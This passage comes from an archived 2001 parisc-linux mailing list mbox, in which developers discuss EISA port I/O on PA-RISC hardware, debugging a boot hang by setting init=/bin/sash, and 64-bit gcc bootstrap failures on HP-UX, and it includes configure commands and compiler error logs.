Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request_region()
Date: Tue, 3 Apr 2001 10:05:02 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20010403100502.K9198@linuxcare.com>
References: <20010403001114.F9198@linuxcare.com> <200104030306.VAA10572@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619994 17498 80.91.229.3 (22 Nov 2014 01:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 03:05:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26CAD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 03:05:24 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A0FA5B007; Tue,  3 Apr 2001 10:05:02 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200104030306.VAA10572@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Apr 02, 2001 at 09:06:10PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10658

On Mon, Apr 02, 2001 at 09:06:10PM -0600, Grant Grundler wrote:
> The plan was EISA devices under ASP should use request_region()
> and inb/outb. I have no clue how EISA "bus walk" works or how EISA
> drivers will find/claim their devices.
> 
> The EISA HBA needs to register it's "pci_ops".
> See arch/parisc/kernel/pci.c:PCI_PORT_OUT macro.

Yep, that make sense.  Does mean sim700.c will have to make runtime
decisions whether to use raw_read (for the on-board 53c700) or inb
(for one on an EISA card), on my 715, but that is no big deal.
EISA allocates 0x1000 bytes per slot, with a four (?) byte signature
at offset 0xc80 (IIRC) to identify the cards.  At least, that is
how my old Compaq works, with first slot at 0x1000.  Seems to tie
up address-wise, at least:

10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76, 0x0, 0x0
11. Unknown device (10) at 0xfc001000, versions 0x0, 0x0, 0xfff, 0x0, 0x0

Again, IIRC, last time I played with the EISA slot on my 715 I
found the EISA 53c700 couldn't access main memory, and EISA interrupts
were not routed to the CPU.  The driver could access the chip registers
though.  But that was all a long time ago, so things may be different
now.

Richard





From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 3 Apr 2001 10:12:51 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010403101251.L9198@linuxcare.com>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619994 17502 80.91.229.3 (22 Nov 2014 01:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:14 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 03:13:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2FA1482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 03:13:12 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3F003B007; Tue,  3 Apr 2001 10:12:51 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AC973D3.F1453A4C@alcatel.at>; from christoph.plattner@alcatel.at on Tue, Apr 03, 2001 at 08:55:15AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10659

On Tue, Apr 03, 2001 at 08:55:15AM +0200, Christoph Plattner wrote:
> With the file system of ESIEE, I always have the problem, that 
> my machine hangs, before init does any output !

Have you tried using init=/bin/sash?  You may have to build your
own sash, from userspace/sash on pehc cvs.

Richard





From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 03 Apr 2001 11:23:58 +0200
Organization: AAA
Lines: 33
Approved: news@gmane.org
Message-ID: <3AC996AE.21A21135@alcatel.at>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403101251.L9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619994 17503 80.91.229.3 (22 Nov 2014 01:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:14 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 03:24:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id CAE7B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 03:24:44 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id LAA18864;
	Tue, 3 Apr 2001 11:23:59 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10660

Hello,

Richard Hirst wrote:
> 
> On Tue, Apr 03, 2001 at 08:55:15AM +0200, Christoph Plattner wrote:
> > With the file system of ESIEE, I always have the problem, that
> > my machine hangs, before init does any output !
> 
> Have you tried using init=/bin/sash?  You may have to build your
> own sash, from userspace/sash on pehc cvs.

No. I built up my own bash (it was statically linked by
accident). I never used sash.

Cheers
	Christoph P.

> 
> Richard
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs-gcc: howto build a 64-bit version?
Date: Tue, 03 Apr 2001 12:15:21 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <3AC9A2B8.DE0DE5A6@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619995 17509 80.91.229.3 (22 Nov 2014 01:33:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 04:15:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lufmech.rwth-aachen.de (karman.lufmech.RWTH-Aachen.DE [134.130.177.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21D8C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 04:15:23 -0600 (MDT)
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id MAA27887; Tue, 3 Apr 2001 12:15:21 +0200 (METDST)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10661

I tried to build cvs-gcc from
:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc
using binutils from the same cvs server. For the 32-bit no build
problems, but the 64-bit bootstrap
fails. Any help for creating a 64-bit version of g++ appreciated.

=============================
32 BIT:
==============================

I built binutils and 32-bit gcc/g++/g77:
../binutils/configure --prefix=/opt/FREE-SOFTWARE/puffin-gcc-20010403
--with-gnu-as
->make/install success

../gcc/configure --prefix=/opt/FREE-SOFTWARE/puffin-gcc-20010403
--with-gnu-as --without-gnu-ld --enable-languages=f77,c,c++
--enable-version-specific-runtime-libs
-> bootstrap/install success

linkage errors in the c++ part:

[markus@tresca]  src/ > g++ ../experimental/HelloWorld.C/usr/ccs/bin/ld:
Unsatisfied symbols:
   std::ios_base::Init::~Init()(code)
   std::ostream::operator<<(std::ostream& (*)(std::ostream&))(code)
   std::ios_base::Init::Init()(code)
   std::ostream::flush()(code)
   std::ostream::put(char)(code)
   std::basic_ostream<char, std::char_traits<char> >& std::operator<<
<std::char_traits<char> >(std::basic_ostream<char,
std::char_traits<char> >&, char const*)(code)
   std::cout (data)
collect2: ld returned 1 exit status

=============================
64 BIT:
==============================

   #  md build-binutils-64
   #  cd build-binutils-64/
   #  ../binutils/configure
--prefix=/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF
--host=hppa64-hp-hpux11.00 --with-gnu-as --with-gnu-ld && make -j4
   #  make install

    success

   #  cd ../build-gcc-64/
   #  ../gcc/configure --host=hppa64-hp-hpux11.00
--prefix=/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF --with-gnu-as
--with-gnu-ld --enable-languages=f77,c,c++
--enable-version-specific-runtime-libs && make -j4 bootstrap

    fails at a well-known place:

[...]
make[2]: Entering directory `/work/markus/HP-GCC/build-gcc-64/gcc'
(cd intl && make all)
make[3]: Entering directory `/work/markus/HP-GCC/build-gcc-64/gcc/intl'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/work/markus/HP-GCC/build-gcc-64/gcc/intl'
(cd po && make all)
make[3]: Entering directory `/work/markus/HP-GCC/build-gcc-64/gcc/po'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/work/markus/HP-GCC/build-gcc-64/gcc/po'
echo "int xxy_us_dummy;" >tmp-dum.c
./xgcc -B./
-B/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF/hppa64-hp-hpux11.00/bin/
-isystem
/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF/hppa64-hp-hpux11.00/include
-S tmp-dum.c
cc1: Internal compiler error in set_sizetype, at stor-layout.c:1673
Please submit a full bug report, with preprocessed source if
appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [s-under] Error 1
make[2]: Leaving directory `/work/markus/HP-GCC/build-gcc-64/gcc'
make[1]: *** [stage1_build] Error 2
make[1]: Leaving directory `/work/markus/HP-GCC/build-gcc-64/gcc'
make: *** [bootstrap] Error 2





From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs-gcc: howto build a 64-bit version?
Date: Tue, 3 Apr 2001 22:22:42 +1000 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104032119230.6476-100000@front.linuxcare.com.au>
References: <3AC9A2B8.DE0DE5A6@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619995 17516 80.91.229.3 (22 Nov 2014 01:33:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 06:23:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D912482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 06:23:09 -0600 (MDT)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA27466;
	Tue, 3 Apr 2001 22:22:42 +1000
In-Reply-To: <3AC9A2B8.DE0DE5A6@lufmech.rwth-aachen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10662

On Tue, 3 Apr 2001, Markus Werle wrote:

> problems, but the 64-bit bootstrap
> fails. Any help for creating a 64-bit version of g++ appreciated.

I see you're trying to build for HPUX.  You will probably be better off
tracking sourceware gcc, although I understand you've had some trouble
there too.  :-(  Since we don't have glibc for hppa64-linux, I really
only support --languages=c for the 64 bit compiler at the moment.

Alan
-- 
Linuxcare






From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs-gcc: howto build a 64-bit version?
Date: Tue, 03 Apr 2001 14:40:33 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <3AC9C4C1.D6078033@lufmech.rwth-aachen.de>
References: <Pine.LNX.4.21.0104032119230.6476-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619995 17521 80.91.229.3 (22 Nov 2014 01:33:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 06:40:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lufmech.rwth-aachen.de (karman.lufmech.RWTH-Aachen.DE [134.130.177.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65970482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 06:40:41 -0600 (MDT)
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id OAA28004; Tue, 3 Apr 2001 14:40:33 +0200 (METDST)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10663

Alan Modra wrote:

> On Tue, 3 Apr 2001, Markus Werle wrote:
>
> > problems, but the 64-bit bootstrap
> > fails. Any help for creating a 64-bit version of g++ appreciated.
>
> I see you're trying to build for HPUX.  You will probably be better off
> tracking sourceware gcc, although I understand you've had some trouble
> there too.  :-(

Are You talking about thge redhat cvs tree?
Is that tree more up-to-date/applicable for hpux than puffin's?

> Since we don't have glibc for hppa64-linux, I really
> only support --languages=c for the 64 bit compiler at the moment.

the ICE error I reported is independent of  --enable-languages=c or more

  116  rm -rf *
  117  ../gcc/configure --host=hppa64-hp-hpux11.00
--prefix=/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF --with-gnu-as
--with-gnu-ld --enable-languages=c --enable-version-specific-runtime-libs
&& make -j4 bootstrap
  118  make bootstrap

ends with an ICE during bootstrap

[...]
echo "int xxy_us_dummy;" >tmp-dum.c
./xgcc -B./
-B/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF/hppa64-hp-hpux11.00/bin/
-isystem
/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF/hppa64-hp-hpux11.00/include -S
tmp-dum.c
cc1: Internal compiler error in set_sizetype, at stor-layout.c:1673





From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 3 Apr 2001 14:16:12 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010403141612.Q9198@linuxcare.com>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403101251.L9198@linuxcare.com> <3AC996AE.21A21135@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619996 17525 80.91.229.3 (22 Nov 2014 01:33:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:16 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 07:16:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2502E482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 07:16:34 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 74906B007; Tue,  3 Apr 2001 14:16:12 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AC996AE.21A21135@alcatel.at>; from christoph.plattner@alcatel.at on Tue, Apr 03, 2001 at 11:23:58AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10664

On Tue, Apr 03, 2001 at 11:23:58AM +0200, Christoph Plattner wrote:
> Hello,
> 
> Richard Hirst wrote:
> > 
> > On Tue, Apr 03, 2001 at 08:55:15AM +0200, Christoph Plattner wrote:
> > > With the file system of ESIEE, I always have the problem, that
> > > my machine hangs, before init does any output !
> > 
> > Have you tried using init=/bin/sash?  You may have to build your
> > own sash, from userspace/sash on pehc cvs.
> 
> No. I built up my own bash (it was statically linked by
> accident). I never used sash.

You should try sash.  It will make less demands on your system, and
might show us something useful.

Richard





From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs-gcc: howto build a 64-bit version?
Date: Wed, 4 Apr 2001 00:08:04 +1000 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0104040001140.6476-100000@front.linuxcare.com.au>
References: <3AC9C4C1.D6078033@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619996 17528 80.91.229.3 (22 Nov 2014 01:33:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 08:08:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60145482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 08:08:09 -0600 (MDT)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA31413;
	Wed, 4 Apr 2001 00:08:04 +1000
In-Reply-To: <3AC9C4C1.D6078033@lufmech.rwth-aachen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10665

On Tue, 3 Apr 2001, Markus Werle wrote:

> Are You talking about thge redhat cvs tree?

Yes. The site used to be called sourceware.cygnus.com, and I'm not yet
used to the new name, sources.redhat.com

> Is that tree more up-to-date/applicable for hpux than puffin's?

Yes and no.  Yes, we have PA specific fixes in our tree that aren't yet in
sourceware (there I go again), but on the other hand we are lagging a
little behind the gcc-3.0 tree.

> cc1: Internal compiler error in set_sizetype, at stor-layout.c:1673

I don't see this error when either cross-compiling or natively
boot-strapping gcc under hppa-linux.  It's possible your bootstrap
compiler has bugs that are preventing a successful build.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs-gcc: howto build a 64-bit version?
Date: Tue, 03 Apr 2001 16:32:59 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <3AC9DF1A.6556BC29@lufmech.rwth-aachen.de>
References: <Pine.LNX.4.21.0104040001140.6476-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619996 17531 80.91.229.3 (22 Nov 2014 01:33:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 08:33:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lufmech.rwth-aachen.de (karman.lufmech.RWTH-Aachen.DE [134.130.177.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91F53482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 08:33:06 -0600 (MDT)
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id QAA28124; Tue, 3 Apr 2001 16:32:59 +0200 (METDST)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10666

Alan Modra wrote:

> > cc1: Internal compiler error in set_sizetype, at stor-layout.c:1673
>
> I don't see this error when either cross-compiling or natively
> boot-strapping gcc under hppa-linux.

I fear this type of bug.

>  It's possible your bootstrap compiler has bugs that are preventing a
> successful build.

I used the 32-bit version of cvs-gcc. So its gcc applied to itself.
It was recommended to use gcc for the 64-bit binutils
due to bugs in hp's cc (size of int). What else can I do?

building binutils with hp cc dies with:
cpp: "./bfd.h", line 141: error 4062: No 64 bit integer type available
cpp: "./bfd.h", line 141: error 4062: No 64 bit integer type available

Did You manage to bootstrap todays cvs 64-bit version
on a vanilla system?

another method:
I started with hp-cc/gcc-compiled binutils:

echo "int xxy_us_dummy;" >tmp-dum.c
./xgcc -B./
-B/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF/hppa64-hp-hpux11.00/bin/
-isystem
/opt/FREE-SOFTWARE/puffin-gcc-20010403-ELF/hppa64-hp-hpux11.00/include -S
tmp-dum.c
cc1: Internal compiler error in ?, at stor-layout.c:1673


Markus





From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request_region()
Date: Tue, 3 Apr 2001 17:41:56 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010403174156.U11435@parcelfarce.linux.theplanet.co.uk>
References: <20010403001114.F9198@linuxcare.com> <200104030306.VAA10572@puffin.external.hp.com> <20010403100502.K9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619997 17539 80.91.229.3 (22 Nov 2014 01:33:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:17 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 10:42:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03343482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 10:42:07 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kTsS-0001K0-00; Tue, 03 Apr 2001 17:41:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010403100502.K9198@linuxcare.com>; from rhirst@linuxcare.com on Tue, Apr 03, 2001 at 10:05:02AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10667

On Tue, Apr 03, 2001 at 10:05:02AM +0100, Richard Hirst wrote:
> Yep, that make sense.  Does mean sim700.c will have to make runtime
> decisions whether to use raw_read (for the on-board 53c700) or inb
> (for one on an EISA card), on my 715, but that is no big deal.

i think sim700.c should be using ioremap / readX / writeX instead
of raw_read.  Is the EISA scsi really only accessible via port io?
I would have throught that it would be memory mapped, in which case
there's no need to have a macro to access it.

> EISA allocates 0x1000 bytes per slot, with a four (?) byte signature
> at offset 0xc80 (IIRC) to identify the cards.  At least, that is
> how my old Compaq works, with first slot at 0x1000.  Seems to tie
> up address-wise, at least:
> 
> 10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76, 0x0, 0x0
> 11. Unknown device (10) at 0xfc001000, versions 0x0, 0x0, 0xfff, 0x0, 0x0

That seems to indicate memory mapped IO...

> Again, IIRC, last time I played with the EISA slot on my 715 I
> found the EISA 53c700 couldn't access main memory, and EISA interrupts
> were not routed to the CPU.  The driver could access the chip registers
> though.  But that was all a long time ago, so things may be different
> now.

How BugFree(TM) do we think the Wax driver is?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
